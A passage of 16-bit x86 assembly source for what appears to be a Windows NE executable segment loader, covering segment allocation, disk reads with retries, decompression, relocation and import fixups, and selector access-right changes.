TEST AL,NSDATA JNZ 43$ TEST AL,NSPRELOAD ;LOAD IF PRELOAD JNZ 43$ TEST AL,NSMOVE JZ 43$ ;LOAD IF IT WAS FIXED CMP [DI].NEW_EXE.NE_CSIP.SEGM,CX ;PRELOAD START ADDRESS SEGMENT JNZ 48$ 43$: ; JMP 48$ PUSH CX ;SAVE CX PUSHM DS,LA_FILE_HANDLE,CX ;EXE_SELECTOR, FILE_HANDLE, SEGMENT # CALL LOADAPPSEG POP CX OR AX,AX JZ 91$ CMP SEGNO,CX JNZ 48$ MOV LA1_AX,AX MOV LA1_DX,DX 48$: ADD SI,SIZE NEW_SEG1 INC CX JMP 41$ 49$: CALL FREE_MASTER_TEMP MOV AX,LA1_AX MOV DX,LA1_DX POPM DI,SI,DS OR AX,AX JNZ 81$ JMP 2$ 81$: JMP 8$ 91$: DEBMSG 'PRELOAD FAILED ON',CX CALL FREE_MASTER_TEMP POPM DI,SI,DS 92$: XOR AX,AX XOR DX,DX JMP 8$ LOADAPPSEGS ENDP GET_MY_HANDLE PROC NEAR ; ;GET A FILE HANDLE FOR THIS GUY ; PUSH SI MOV CX,-1 CMP IS_DLL,CL ;.DLLS CURRENTLY FAIL JZ L9$ MOV SI,MY_HANDLE_PTR MOV AX,SS:[SI] CMP AX,CX JNZ L9$ PUSHM ES,DS,BX,CS POP DS MOV DX,OFF ME_ASCIZ_TEXT MOV AX,3D00H ;READONLY CALL _DOS3CALL JNC L4$ MOV DX,OFF ME_ASCIZ_TEXT MOV AX,3D00H + 20H ;READONLY, DENY WRITE CALL _DOS3CALL JC L8$ L4$: MOV SS:[SI],AX L41$: POPM BX,DS,ES L9$: POP SI RET L8$: DEBMSG 'Cannot Open',AX PUSHM 0,CS,OFF CANTOPEN_MSG,ME_ASCIZ.SEGM,ME_ASCIZ.OFFS,MB_OK+MB_SYSTEMMODAL CALL _MESSAGEBOX MOV AX,-1 JMP L41$ GET_MY_HANDLE ENDP LOADAPPSEG PROC FAR ; ;PARAM1 == EXE_SELECTOR ;PARAM2 == FILE_HANDLE ;PARAM3 == SEGMENT # TO LOAD ; ;RETURN WITH ; AX == SELECTOR OF SEGMENT OR 0 ON ERROR ; DX == HANDLE OF SEGENT ; PUSH BP MOV BP,SP SUB SP,24 ;LOCAL STORAGE PUSHM DS,SI,DI EXE_SELECTOR EQU <(WPTR [BP+10])> LA_FILE_HANDLE EQU <(WPTR [BP+8])> SEGNO EQU <(WPTR [BP+6])> SEG_HANDLE EQU <(WPTR [BP-2])> SEG_SELECTOR EQU <(WPTR [BP-4])> RETRIES_LEFT EQU <(WPTR [BP-6])> TEMP_SEGMENT EQU <(WPTR [BP-8])> TEMP_HANDLE EQU <(WPTR [BP-10])> TARG_RTN EQU <(WPTR [BP-12])> RELOC_STACK EQU <(WPTR [BP-14])> TEMP_DOS_SEGMENT EQU <(WPTR [BP-16])> PRE_DELTA EQU <(WPTR [BP-18])> POST_DELTA EQU <(WPTR [BP-20])> MODULE_NUMBER EQU <(WPTR [BP-22])> DEBMSG 'LOADAPPSEG',SEGNO XOR DI,DI MOV TEMP_HANDLE,DI MOV TEMP_DOS_SEGMENT,DI MOV PRE_DELTA,DI MOV POST_DELTA,DI MOV SI,SEGNO ;SEG # I MUST LOAD MOV DS,EXE_SELECTOR ;POINT TO EXEHEADER DEC SI ;ZERO-BASE IT, THEN TIMES 10 SHL SI,1 MOV BX,SI SHL SI,2 ADD SI,BX ADD SI,[DI].NEW_EXE.NE_SEGTAB ;SI IS SEGTBL ENTRY MOV AX,[SI].NEW_SEG.NS_MINALLOC MOV BX,[SI].NEW_SEG.NS_FLAGS MOV DX,[SI].NEW_SEG1.NS_HANDLE iff keep_read_only AND BX,NOT NSERONLY endif CMP [DI].NEW_EXE1.NE_PAUTODATA,SI JZ LOAD_DGROUP_SEGMENT TEST BL,NSDATA JZ 109$ CMP [SI].NEW_SEG.NS_MINALLOC,DI JZ ALLOC_FINISH ;64K DATA ALREADY ALLOCATED CMP SEGNO,1 ;SEGMENT 1 NOT ALLOCATED YET JZ 109$ CMP [SI-SIZE NEW_SEG1].NEW_SEG.NS_MINALLOC,DI ;WAS PREVIOUS SEGMENT == 64K? JNZ 109$ TEST [SI-SIZE NEW_SEG1].NEW_SEG.NS_FLAGS,NSDATA ;WAS IT DATA? JNZ ALLOC_FINISH ;YES, THIS ALREADY ALLOCATED ; ;CODE WAS ALLOCATED AT LENGTH ZERO TO JUST ALLOCATE SELECTOR ; ; DEBMSG 'REALLOC Code Segment' 109$: XOR CX,CX OR AX,AX JNZ 11$ INC CX 11$: PUSH DX PUSHM DX,CX,AX,DI CALL _GLOBALREALLOC ;RESIZE CODE SEGMENT TO CORRECT SIZE POP DX CMP AX,DX ;MAKE SURE HANDLE SURVIVED JE ALLOC_FINISH DEBMSG 'REALLOC FAILED' LOAD_FAIL: XOR AX,AX ;ERROR LOADING SEGMENT XOR DX,DX JMP LOAD_END LOAD_DGROUP_SEGMENT: ; DEBMSG 'Allocate DGROUP' TEST BL,NSALLOCED JNZ ALLOC_FINISH ; JZ 21$ ; DEBMSG 'DGROUP Already Allocated...' ;I DON'T THINK THIS CAN HAPPEN ; JMP LOAD_FAIL 21$: XOR CX,CX ADD AX,[DI].NEW_EXE.NE_STACK ADC CX,DI ADD AX,[DI].NEW_EXE.NE_HEAP ADC CX,DI JZ 25$ OR AX,AX JZ 25$ DEBMSG 'DGROUP OVERFLOW' JMP LOAD_FAIL 25$: PUSHM GMEM_MOVEABLE OR GMEM_ZEROINIT,CX,AX ;FOR NOW WE ZEROINIT, ITS EASIER... CALL _GLOBALALLOC OR AX,AX JNZ 26$ DEBMSG 'DGROUP ALLOC FAILED' JMP LOAD_FAIL 26$: MOV [SI].NEW_SEG1.NS_HANDLE,AX OR BPTR [SI].NEW_SEG.NS_FLAGS,NSALLOCED PUSH AX PUSHM AX,DS CALL SETOWNER ;MAY NOT NEED THIS SINCE IT REALLY BELONGS TO TASK... POP DX ALLOC_FINISH: ; DEBMSG 'Allocation OK' ; ;DX IS HANDLE OF SEGMENT WE ARE LOADING ; MOV SEG_HANDLE,DX ; ;MAKE LOWER 2 BITS MATCH CODE SEGMENT TO YIELD SELECTOR ; MOV AX,CS AND DX,NOT 3 AND AL,3 OR DL,AL MOV AX,[SI].NEW_SEG.NS_FLAGS MOV SEG_SELECTOR,DX iff keep_read_only AND AL,NOT NSERONLY ;IGNORE R/O E/O BIT endif ; ;IF CODE, OR R/O DATA, NEED TO CHANGE SELECTOR ACCESS ; if keep_read_only TEST AL,NSERONLY JNZ 31$ endif TEST AL,NSDATA JNZ 35$ 31$: ; DEBMSG 'Change Selector ACCESS Rights' PUSH DX PUSHM DX,DI,DI CALL _SELECTORACCESSRIGHTS ;GET CURRENT ACCESS RIGHTS BITS AND AL,0F7H ;BIT 3 OFF MEANS DATA OR AL,2 ;BIT 1 ON MEANS WRITEABLE PUSHM 1,AX CALL _SELECTORACCESSRIGHTS ;CHANGE TO R/W DATA SEGMENT 35$: MOV AX,MASTER_TEMP_SEGMENT ;SET DURING APP STARTUP MOV RETRIES_LEFT,2 ;ALLOW 2 RETRIES ON THE LOAD ; ;IF EXEPACKED OR RELOCS, NEED ANOTHER SEGMENT ALLOCATED PLEASE ; MOV TEMP_SEGMENT,AX OR AX,AX JNZ 39$ ; DEBMSG 'Allocate TEMP Segment' MOV AX,[SI].NEW_SEG.NS_SECTOR ;SKIP IF NO DATA TO READ OR AX,AX JZ 39$ MOV AX,[SI].NEW_SEG.NS_CBSEG ;MAKE IT SIZE OF DATA XOR CX,CX OR AX,AX JNZ 37$ INC CX 37$: ADD AX,511+511 ;FOR ALIGNMENT STUFF ADC CX,0 PUSHM GMEM_MOVEABLE,CX,AX ;ALLOCATE 64K PLEASE CMP GLOBALDOS_FAILED,0 ;HAS THIS CALL FAILED BEFORE? JNZ 38$ PUSHM CX,AX CALL _GLOBALDOSALLOC ;TRY FIXED DOS MEMORY (FOR FASTER I/O) OR AX,AX JZ 375$ ADD SP,6 ;DON'T NEED GLOBALALLOC PARAMS MOV TEMP_DOS_SEGMENT,AX MOV DX,AX JMP 389$ 375$: CALL GET_CSALIAS_AX PUSH DS MOV DS,AX ASSUME DS:LOADER___SLRLOAD MOV GLOBALDOS_FAILED,-1 MOV AX,DS POP DS ASSUME DS:NOTHING CALL FREE_CSALIAS_AX 38$: CALL _GLOBALALLOC OR AX,AX JNZ 381$ DEBMSG 'TEMP ALLOC FAILED' JMP LOAD_FAIL1 381$: MOV TEMP_HANDLE,AX PUSH AX CALL _GLOBALLOCK 389$: MOV TEMP_SEGMENT,DX 39$: JMP LOAD_RETRY LOAD_FAIL1: JMP LOAD_FAIL LOAD_DISK_ERROR: POP DS LOAD_DISK_ERROR1: DEC RETRIES_LEFT JNZ 40$ DEBMSG 'DISK RETRIES FAILED' JMP LOAD_FAIL1 40$: XOR DI,DI DEBMSG 'Reset Disk' DEBMSG 'Retry Segment',SEGNO MOV AH,0DH ;RESET DISK SUBSYSTEM CALL _DOS3CALL LOAD_RETRY: ; ; ; MOV DX,[SI].NEW_SEG.NS_SECTOR ;PAGE NUMBER OF SEGMENT XOR CX,CX OR DX,DX JZ 511$ MOV BX,LA_FILE_HANDLE MOV AX,[DI].NEW_EXE.NE_ALIGN ;SHIFT PAGE NUMBER BY NE_ALIGN BITS OR AX,AX JZ 42$ 41$: ADD DX,DX ADC CX,CX DEC AX JNZ 41$ ;CX:DX IS POSITION 42$: ; DEBMSG 'Disk SEEK - CX',CX ; DEBMSG 'Disk SEEK - DX',DX ; DEBMSG 'Disk SEEK - BX',BX ; ;SEEK TO 512 BOUNDARY <= CX:DX ; MOV AX,DX AND DX,NOT 511 AND AX,511 MOV PRE_DELTA,AX ;# UNNEEDED BYTES MOV AX,4200H CALL _DOS3CALL PUSH DS JC LOAD_DISK_ERROR ;POSITION SHOULD NEVER FAIL... MOV CX,[SI].NEW_SEG.NS_CBSEG ;BYTES IN FILE ADD CX,PRE_DELTA MOV AX,512 SUB AX,CX AND AX,511 MOV POST_DELTA,AX ADD CX,AX ;READ EVEN 512-BYTE SECTORS ; TEST [SI].NEW_SEG.NS_FLAGS,NSITER ; JZ 5$ MOV DS,TEMP_SEGMENT CALL DO_READ JC LOAD_DISK_ERROR MOV ES,SEG_SELECTOR MOV BX,PRE_DELTA ;SKIP THIS MANY BYTES CALL DECOMPRESS ; JMP 51$ ;5$: ; MOV DS,SEG_SELECTOR ; CALL DO_READ ; JC LOAD_DISK_ERROR 51$: ; ;CX IS NUMBER OF BYTES INITIALIZED ; POP DS 511$: MOV AX,[SI].NEW_SEG.NS_MINALLOC MOV ES,SEG_SELECTOR SUB AX,CX MOV DI,CX MOV CX,AX JNZ 53$ ; ;IF NONE WERE READ, WE ZERO FILL 64K... ; CMP [SI].NEW_SEG.NS_SECTOR,0 JNZ 6$ ;COMPLETELY INITIALIZED, SKIP ZEROING XOR AX,AX STOSB DEC CX 53$: ; DEBMSG 'Zero Fill' XOR AX,AX TEST DI,1 JZ 52$ STOSB DEC CX 52$: SHR CX,1 REP STOSW ADC CX,CX REP STOSB 6$: ; TEST [SI].NEW_SEG.NS_FLAGS,NSRELOC OR DX,DX JZ 7$ CALL PROCESS_RELOCS JNC 65$ JMP LOAD_DISK_ERROR1 65$: ; DEBMSG 'RELOCS APPLIED' 7$: OR BPTR [SI].NEW_SEG.NS_FLAGS,NSLOADED TEST BPTR [SI].NEW_SEG.NS_FLAGS,NSDATA JNZ 8$ PUSH SEG_HANDLE CALL _PATCHCODEHANDLE 8$: ; ;IF CODE OR READ-ONLY, NEED TO ADJUST ACCESS RIGHTS AGAIN... ; MOV AX,[SI].NEW_SEG.NS_FLAGS iff keep_read_only AND AL,NOT NSERONLY ;IGNORE E/O R/O BIT else TEST AL,NSERONLY JNZ 81$ endif TEST AL,NSDATA JNZ 89$ 81$: PUSH AX PUSHM SEG_SELECTOR,0,0 CALL _SELECTORACCESSRIGHTS POP BX AND AL,0F1H if keep_read_only TEST BL,NSERONLY JNZ 82$ endif OR AL,2 82$: TEST BL,NSDATA JNZ 83$ OR AL,8 ;CODE 83$: PUSHM SEG_SELECTOR,1,AX CALL _SELECTORACCESSRIGHTS 89$: ; ;LOAD SUCCESS, RETURN HANDLE AND SELECTOR ; MOV AX,SEG_SELECTOR MOV DX,SEG_HANDLE LOAD_END: PUSHM DX,AX MOV BX,TEMP_HANDLE OR BX,BX JZ NO_TEMP_TEMP ; DEBMSG 'Release TEMP Segment' PUSH BX CALL _GLOBALFREE NO_TEMP_TEMP: MOV BX,TEMP_DOS_SEGMENT OR BX,BX JZ NO_TEMP_DOS PUSH BX CALL _GLOBALDOSFREE NO_TEMP_DOS: POPM AX,DX DEBMSG 'LOADAPPSEG Complete' ; ;AX == SEGMENT, DX == HANDLE ; POPM DI,SI,DS MOV SP,BP POP BP RET 6 LOADAPPSEG ENDP DO_READ PROC NEAR ; ;CX IS # OF BYTES TO READ ; ;RETURN CX == BYTES READ ; ; DEBMSG 'DO_READ' PUSH CX XOR DX,DX OR CX,CX MOV BX,LA_FILE_HANDLE MOV AH,3FH JZ 5$ 4$: CALL _DOS3CALL JC 9$ ;HANDLE OR HARDWARE ERROR CMP AX,CX JNE 8$ ;END-OF-FILE 9$: POP CX RET 8$: SUB AX,CX NEG AX CMP POST_DELTA,AX ;OFF BY MORE THAN POST_DELTA? JAE 9$ ;DON'T NEED THOSE ANYWAY... STC POP CX RET 5$: MOV CH,80H CALL _DOS3CALL JC 9$ ;HANDLE OR HARDWARE ERROR CMP AX,CX JNE 8$ ;END-OF-FILE MOV DX,CX MOV AH,3FH JMP 4$ DO_READ ENDP DECOMPRESS PROC NEAR ; ;DS IS SOURCE SEGMENT, ES IS TARGET SEGMENT ;CX IS SOURCE BYTE-COUNT - FILE-SIZE ;BX IS SOURCE OFFSET TO START WITH ; ;RETURN CX IS BYTES EXPANDED ; BX IS OFFSET TO RELOCS ; DX IS # OF RELOCS ; PUSHM BP,SI,DI MOV BP,CX MOV SI,BX XOR DI,DI IF 0 CMP WPTR [SI],0 JZ 8$ 1$: SUB BP,4 ;ARE THERE 4 BYTES LEFT JBE 9$ MOV CX,[SI] ;REPEAT COUNT MOV DX,2[SI] ;BYTES TO BE REPEATED ADD SI,4 SUB BP,DX JB 9$ MOV AX,[SI] CMP DX,2 JA 5$ JZ 3$ MOV AH,AL SHR CX,1 JNC 3$ STOSB 3$: REP STOSW ADD SI,DX JMP 1$ 5$: ; ;DX IS # OF BYTES ;CX IS # OF TIMES TO REPEAT ; MOV BX,CX 6$: MOV CX,DX SHR CX,1 REP MOVSW ADC CX,CX REP MOVSB SUB SI,DX DEC BX JNZ 6$ ADD SI,DX JMP 1$ 8$: ENDIF LODSW PUSH AX CALL DPMI_UNQUIK ;9$: POPM DX MOV BX,SI MOV CX,DI POPM DI,SI,BP RET ; ; LEA DX,NOEXEPACK_ERR ; JMP MSG_ABORT DECOMPRESS ENDP FREE_CSALIAS_AX PROC NEAR ; ; ; PUSH AX CALL _FREESELECTOR RET FREE_CSALIAS_AX ENDP PROCESS_RELOCS PROC NEAR ; ;FIRST, READ WORD DEFINING # OF RELOCS ; PUSHM DS,SI,DI ; DEBMSG 'Apply Relocs' MOV DS,TEMP_SEGMENT MOV SI,BX MOV RELOC_STACK,SP 1$: ; ;SET UP START OF A NEW RELOC PACKET ; LODSW XOR CH,CH if BOX XOR AX,-1 endif MOV CL,AH ;# OF ITEMS IN THIS PACKET ; DEBMSG 'Items this packet',CX SUB DX,CX JC RELOC_ERR1 ; DEBMSG 'Items after this packet',DX PUSH DX ;OVERALL # OF RELOCS AFTER THIS PACKET CMP AL,0F0H ;SPECIAL BASE TYPES JZ 3$ ; ;DEFINE TARGET ROUTINE ; MOV BL,AL AND BX,7 ADD BX,BX MOV BX,TARG_TYPE_TBL[BX] MOV TARG_RTN,BX ; ;JUMP TO SOURCE ROUTINE ; MOV BL,AL SHR BX,2 AND BX,6 JMP SOURCE_TYPE_TBL[BX] ;INTERNAL, IMPORT, FLOAT RELOC_ERR1: DEBMSG 'RELOC COUNT FAIL' JMP RELOC_ERR9 3$: ; ;SPECIAL BASE TYPE, CX IS # OF THEM ; MOV AL,[SI] MOV DI,1[SI] ADD SI,3 CALL SEG_AL_SELECTOR_ESBX ;CHANGE AL TO SELECTOR IN AX, DESTROYS BX MOV ES,SEG_SELECTOR MOV DX,AX CALL RELOC_INT_OFF16 DEC CX JNZ 3$ RELOC_NEXT: POP DX OR DX,DX JNZ 1$ RELOC_DONE: POPM DI,SI,DS RET OSTYPE_ABORT: ; ;FLOAT TYPES ARE LAST, WE ARE DONE ; POPM DX,DI,SI,DS RET RELOC_SRC_INTERNAL: ; ;SOURCE IS INTERNAL, RARE UNLESS IOPL... ; LODSB CMP AL,-1 JNZ RELOC_SRC_INT_FIXED RELOC_SRC_INT_MOVABLE: ; ;WORKS PRETTY MUCH LIKE IMPORT BY ORDINAL ; MOV AX,EXE_SELECTOR JMP RSO_1 RELOC_SRC_INT_FIXED: ; ;THESE SHOULD HAVE ALL CHANGED INTO SPECIAL BASE FIXUPPS ; CALL SEG_AL_SELECTOR_ESBX ;RETURN SELECTOR IN AX MOV ES,SEG_SELECTOR MOV BX,AX RSI_1: MOV DI,[SI] MOV DX,2[SI] ADD SI,4 PUSH CX CALL TARG_RTN POP CX DEC CX JNZ RSI_1 JMP RELOC_NEXT RELOC_SRC_ORDINAL: ; ;IMPORTING BY ORDINAL ; LODSW MOV MODULE_NUMBER,AX MOV ES,EXE_SELECTOR DEC AX MOV BX,ES:NEW_EXE.NE_MODTAB ADD AX,AX ADD BX,AX MOV AX,ES:[BX] ;MODULE HANDLE RSO_1: MOV DI,[SI] ;OFFSET TO MODIFY MOV DX,2[SI] ;ORDINAL # ADD SI,4 PUSHM AX,CX ;PRESERVE FOR LOOPING PUSHM AX,DX CALL GETENTRY ;RETURNS DX:AX IS IMPORT ADDRESS MOV ES,SEG_SELECTOR MOV BX,DX MOV DX,AX OR BX,BX JZ RSO_ERR CALL TARG_RTN POPM CX,AX LOOP RSO_1 JMP RELOC_NEXT RSO_ERR: DEBMSG 'Reloc Failure, Module',MODULE_NUMBER DEBMSG 'Reloc Failure, Ordinal',<-2[SI]> JMP RELOC_ERR9 RSN_ERR: DEBMSG 'Reloc Failure, Module',MODULE_NUMBER DEBMSG 'Reloc Failure, By Name',DI JMP RELOC_ERR9 RELOC_ERR: DEBMSG 'RELOC CHAIN FAILED' RELOC_ERR9: MOV SP,RELOC_STACK STC JMP RELOC_DONE RELOC_SRC_NAME: ; ;IMPORTING BY NAME ; ; ;MUST MAKE IMPORTED NAME LOOK LIKE ZERO-TERMINATED STRING... ; ; DEBMSG 'IMPORT-BY-NAME',TARG_RTN LODSW MOV MODULE_NUMBER,AX MOV ES,EXE_SELECTOR DEC AX MOV BX,ES:NEW_EXE.NE_MODTAB ADD AX,AX ADD BX,AX MOV AX,ES:[BX] ;HANDLE OF MODULE WE REFERENCE RSN_1: PUSHM AX,CX MOV ES,EXE_SELECTOR MOV BX,2[SI] ;OFFSET INTO IMPORTED NAMES TABLE ADD BX,ES:NEW_EXE.NE_IMPTAB ;ADDRESS OF IMPORTED NAMES TABLE == OFFSET TO NAME XOR CH,CH MOV CL,ES:[BX] ;LENGTH OF STRING INC BX MOV DI,BX ;NAME TEXT ADD DI,CX XCHG CH,ES:[DI] ;NUL TERMINATE, SAVE OLD PUSHM ES,CX PUSHM AX,ES,BX CALL _GETPROCADDRESS ;RETURNS DX:AX POPM CX,ES MOV BX,DX MOV ES:[DI],CH MOV DX,AX OR BX,BX JZ RSN_ERR MOV DI,[SI] ADD SI,4 MOV ES,SEG_SELECTOR CALL TARG_RTN POPM CX,AX LOOP RSN_1 JMP RELOC_NEXT RELOC_SRC_OSFLOAT: ; ;FLOATING POINT FIXUPPS ; LODSW XOR AH,AH MOV BX,AX SHL BX,2 MOV ES,SEG_SELECTOR MOV DX,X87[BX-4] MOV BX,X87[BX-2] RS_OSF_1: LODSW MOV DI,AX ADD ES:[DI],DX ADD ES:[DI+1],BX LOOP RS_OSF_1 JMP RELOC_NEXT RELOC_INT_BYTE: MOV ES:[DI],DL RET RELOC_INT_BYTE_A: ADD ES:[DI],DL RET RELOC_INT_SEG16: MOV DX,BX RELOC_INT_OFF16: XOR BX,BX INC DI RIO_16: MOV AX,DX XCHG ES:[DI-1],AX DEC BX MOV DI,AX JZ RI_ERR INC DI JNZ RIO_16 RET RI_ERR: JMP RELOC_ERR RELOC_INT_SEG16_A: MOV DX,BX RELOC_INT_OFF16_A: ADD ES:[DI],DX RET RELOC_INT_PTR16: XOR CX,CX INC DI RIO_32: MOV AX,DX XCHG ES:[DI-1],AX MOV ES:[DI+1],BX DEC CX MOV DI,AX JZ RI_ERR INC DI JNZ RIO_32 RET RELOC_INT_PTR16_A: ADD ES:[DI],DX ADD ES:2[DI],BX RET EVEN X87 DW FIARQQ,FJARQQ DW FISRQQ,FJSRQQ DW FICRQQ,FJCRQQ DW FIERQQ,0 DW FIDRQQ,0 SOURCE_TYPE_TBL LABEL WORD DW RELOC_SRC_INTERNAL DW RELOC_SRC_ORDINAL DW RELOC_SRC_NAME RELOC_OSTYPE_TBL DW RELOC_SRC_OSFLOAT EVEN TARG_TYPE_TBL DW RELOC_INT_BYTE DW RELOC_INT_SEG16 DW RELOC_INT_PTR16 DW RELOC_INT_OFF16 DW RELOC_INT_BYTE_A DW RELOC_INT_SEG16_A DW RELOC_INT_PTR16_A DW RELOC_INT_OFF16_A PROCESS_RELOCS ENDP SEG_AL_SELECTOR_ESBX PROC NEAR ; ; ; XOR AH,AH DEC AX ;ZERO BASE, TIMES 10 MOV ES,EXE_SELECTOR ADD AX,AX MOV BX,AX SHL AX,2 ADD BX,AX ADD BX,ES:NEW_EXE.NE_SEGTAB MOV AX,ES:[BX].NEW_SEG1.NS_HANDLE MOV BX,CS AND AX,0FFFCH AND BX,3 OR AX,BX RET SEG_AL_SELECTOR_ESBX ENDP IF 0 PROCESS_RELOCS PROC NEAR ; ;FIRST, READ WORD DEFINING # OF RELOCS ; PUSHM DS,SI,DI MOV DS,TEMP_SEGMENT ; MOV CX,2 ; CALL DO_READ ; JC RI_ERR0 ; MOV AX,DS:0 MOV ES,SEG_SELECTOR MOV RELOC_COUNT,DX MOV SI,BX ; ;NOW, READ IN MULTIPLES OF 64K OF RELOC INFO... ; 1$: MOV CX,RELOC_COUNT ;# OF RELOCS LEFT THIS SEGMENT ; DEBMSG 'Relocs',CX ; OR CX,CX ; JZ 9$ ; CMP CX,8*1024 ;# OF RELOCS MAX PER BUFFER ; JB 2$ ; MOV CX,8*1024 2$: ; PUSH CX ; SUB RELOC_COUNT,CX ; SHL CX,3 ;# OF RELOCS * 8 BYTES PER RELOC ; CALL DO_READ ; POP CX ; JC RI_ERR0 ; XOR SI,SI 3$: PUSHM DS,SI MOV BX,[SI] ;RELOC TYPE MOV DI,2[SI] ;OFFSET FROM ES MOV DX,6[SI] ;TARGET OFFSET MOV AX,4[SI] ;TARGET SEGMENT ; DEBMSG 'RELOC Offset',DI MOV SI,BX MOV BL,BH AND BX,NRRTYP SHL BX,1 MOV DS,EXE_SELECTOR JMP RELOC_TYPE_TBL[BX] RELOC_TYPE_INTERNAL_MOVABLE: ; ;NEED TO SET UP GETENTRY ; PUSHM ES,CX PUSHM DS,DX ;MODULE IS ME, ENTRY IS DX JMP RTO RELOC_TYPE_INTERNAL: ; ; ; CMP AL,0FFH JZ RELOC_TYPE_INTERNAL_MOVABLE XOR AH,AH DEC AX ;ZERO BASE, TIMES 10 ADD AX,AX MOV BX,AX SHL AX,2 ADD BX,AX ADD BX,DS:NEW_EXE.NE_SEGTAB MOV AX,[BX].NEW_SEG1.NS_HANDLE MOV BX,CS AND AX,0FFFCH AND BX,3 OR BX,AX DO_RELOC_INT: ; ;BX:DX IS TARGET ITEM ; MOV AX,SI AND AX,0400H SHR AX,6 AND SI,0FH OR SI,AX SHL SI,1 JMP INT_TBL[SI] RELOC_NEXT: POPM SI,DS DEC CX LEA SI,8[SI] JNZ 3$ ; JMP 1$ 9$: POP DI POPM SI,DS RET OSTYPE_ABORT: ADD SP,4 JMP 9$ RI_ERR: POPM SI,DS RI_ERR0: DEBMSG 'RELOCS FAILED' STC JMP 9$ RELOC_INT_BYTE: MOV ES:[DI],DL JMP RELOC_NEXT RELOC_INT_BYTE_A: ADD ES:[DI],DL JMP RELOC_NEXT RELOC_INT_SEG16: MOV DX,BX RELOC_INT_OFF16: XOR BX,BX INC DI RIO_16: MOV AX,DX XCHG ES:[DI-1],AX DEC BX MOV DI,AX JZ RI_ERR INC DI JNZ RIO_16 JMP RELOC_NEXT RELOC_INT_SEG16_A: MOV DX,BX RELOC_INT_OFF16_A: ADD ES:[DI],DX JMP RELOC_NEXT RELOC_INT_PTR16: XOR SI,SI INC DI RIO_32: MOV AX,DX XCHG ES:[DI-1],AX MOV ES:[DI+1],BX DEC SI MOV DI,AX JZ RI_ERR INC DI JNZ RIO_32 JMP RELOC_NEXT RELOC_INT_PTR16_A: ADD ES:[DI],DX ADD ES:2[DI],BX JMP RELOC_NEXT RELOC_TYPE_ORDINAL: ; ;IMPORTING BY ORDINAL ; ;SI IS TYPE-FLAGS ;AX IS MODULE ;DX IS ORDINAL # ;DI IS DESTINATION ;BX IS AVAILABLE ; DEC AX MOV BX,DS:NEW_EXE.NE_MODTAB ADD AX,AX ADD BX,AX PUSHM ES,CX PUSHM DS:[BX],DX RTO: CALL GETENTRY RTO_1: POPM CX,ES MOV BX,DX MOV DX,AX OR AX,BX JNZ DO_RELOC_INT JMP RI_ERR RELOC_TYPE_NAME: ; ;IMPORTING BY NAME ; ;SI IS TYPE-FLAGS ;AX IS MODULE ;DX IS NAME OFFSET ;DI IS DESTINATION ;BX IS AVAILABLE ; ;MUST MAKE IMPORTED NAME LOOK LIKE ZERO-TERMINATED STRING... ; DEC AX MOV BX,DS:NEW_EXE.NE_MODTAB ADD AX,AX ADD BX,AX PUSHM ES,CX,DI MOV AX,[BX] ;HANDLE OF MODULE WE REFERENCE MOV BX,DS:NEW_EXE.NE_IMPTAB ;ADDRESS OF IMPORTED NAMES TABLE ADD BX,DX XOR CH,CH MOV CL,[BX] ;LENGTH OF STRING INC BX MOV DI,BX ADD DI,CX XCHG CH,[DI] PUSH CX PUSHM AX,DS,BX CALL _GETPROCADDRESS ;RETURNS DX:AX POP CX MOV [DI],CH POP DI JMP RTO_1 RELOC_TYPE_OSFLOAT: ; ;FLOATING POINT FIXUPPS ; ; CMP AX,6 ; JZ OSFLOAT_6 ;TYPE 6 ALWAYS ; JA RI_ERR ;BIGGER FAILS MOV BX,AX ; MOV AL,X87PRESENT ADD BX,BX ; OR AL,AL ; JNZ RELOC_NEXT CMP AX,6 JAE RI_ERR JMP X87[BX] ;OSFLOAT_6: ; ADD WPTR ES:[DI],FIWRQQ ; JMP RELOC_NEXT OSFLOAT_1: ADD WPTR ES:[DI],FIARQQ ADD WPTR ES:[DI+1],FJARQQ JMP RELOC_NEXT OSFLOAT_2: ADD WPTR ES:[DI],FISRQQ ADD WPTR ES:[DI+1],FJSRQQ JMP RELOC_NEXT OSFLOAT_3: ADD WPTR ES:[DI],FICRQQ ADD WPTR ES:[DI+1],FJCRQQ JMP RELOC_NEXT OSFLOAT_4: ADD WPTR ES:[DI],FIERQQ JMP RELOC_NEXT OSFLOAT_5: ADD WPTR ES:[DI],FIDRQQ JMP RELOC_NEXT EVEN X87 DW RI_ERR DW OSFLOAT_1 DW OSFLOAT_2 DW OSFLOAT_3 DW OSFLOAT_4 DW OSFLOAT_5 RELOC_TYPE_TBL LABEL WORD DW RELOC_TYPE_INTERNAL DW RELOC_TYPE_ORDINAL DW RELOC_TYPE_NAME RELOC_OSTYPE_TBL DW RELOC_TYPE_OSFLOAT EVEN INT_TBL DW RELOC_INT_BYTE DW RI_ERR DW RELOC_INT_SEG16 DW RELOC_INT_PTR16 DW RI_ERR DW RELOC_INT_OFF16 DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RELOC_INT_BYTE_A DW RI_ERR DW RELOC_INT_SEG16_A DW RELOC_INT_PTR16_A DW RI_ERR DW RELOC_INT_OFF16_A DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR DW RI_ERR PROCESS_RELOCS ENDP ENDIF if debug HEXWOUT PROC NEAR ; ;PRINT AX ; PUSH AX MOV AL,AH CALL HEXOUT POP AX HEXOUT: PUSH AX SHR AL,1 SHR AL,1 SHR AL,1 SHR AL,1 CALL HEXNIB POP AX HEXNIB: AND AL,0FH OR AL,30H CMP AL,'9' JBE HEX_OK ADD AL,7 HEX_OK: STOSB RET HEXWOUT ENDP endif INIT_SYSCALLS PROC NEAR ; ;INITIALIZE SYSTEM-CALL JMP TABLE ; 'KERNEL' IS MODULE#1 ; 'USER' IS MODULE#2 ; ; AX IS EXE_SELECTOR ; DS & ES ARE CS ALIASES ; PUSH DS MOV DS,AX LEA SI,RTBL LEA DI,GTBL MOV BX,DS:NEW_EXE.NE_MODTAB POP DS 1$: PUSH AX ;AX IS EXETABLE PUSH DS ;DS IS CS ALIAS MOV DS,AX MOV CX,DS:[BX] ;NEXT MODULE HANDLE INC BX INC BX POP DS PUSH BX JMP 4$ 2$: XOR AH,AH PUSHM ES,CX PUSHM CX,AX CALL GETENTRY POPM CX,ES STOSW MOV AX,DX STOSW 4$: LODSB ;ANY MORE THIS MODULE? OR AL,AL JNZ 2$ 5$: CMP [SI],AL ;ANY MORE MODULES? 